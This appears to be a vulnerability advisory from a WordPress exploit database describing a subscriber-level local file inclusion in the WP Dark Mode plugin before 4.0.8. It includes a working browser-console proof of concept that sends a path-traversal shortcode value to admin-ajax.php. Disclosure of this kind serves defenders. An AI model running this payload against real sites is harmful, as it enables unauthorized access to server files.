Lucene search

K
wpexploitAlex SanfordWPEX-ID:8EB431A6-59A5-4CEE-84E0-156C0B31CFC4
HistoryMar 06, 2023 - 12:00 a.m.

WP Dark Mode < 4.0.8 - Subscriber+ Local File Inclusion

2023-03-0600:00:00
Alex Sanford
70
wordpress security
local file inclusion
browser-based exploit
dark mode plugin security

0.001 Low

EPSS

Percentile

24.3%

The plugin does not properly sanitize the style parameter in shortcodes before using it to load a PHP template. This leads to Local File Inclusion on servers where non-existent directories may be traversed, or when chained with another vulnerability allowing arbitrary directory creation.

As a subscriber, run the following JS code from the browser console and see that it includes the `index.php` of the root of the blog:

```
fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[wp-dark-mode style='1/../../../../../index']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
```

Note: By default this will only work on servers where the directory to traverse does not need to exist (for example: Windows-based servers). For other servers, this will require the `/wp-content-plugins/wp-dark-mode/templates/btn-1/` directory to exist (for example: by chaining another vulnerability to create the directory).

0.001 Low

EPSS

Percentile

24.3%

Related for WPEX-ID:8EB431A6-59A5-4CEE-84E0-156C0B31CFC4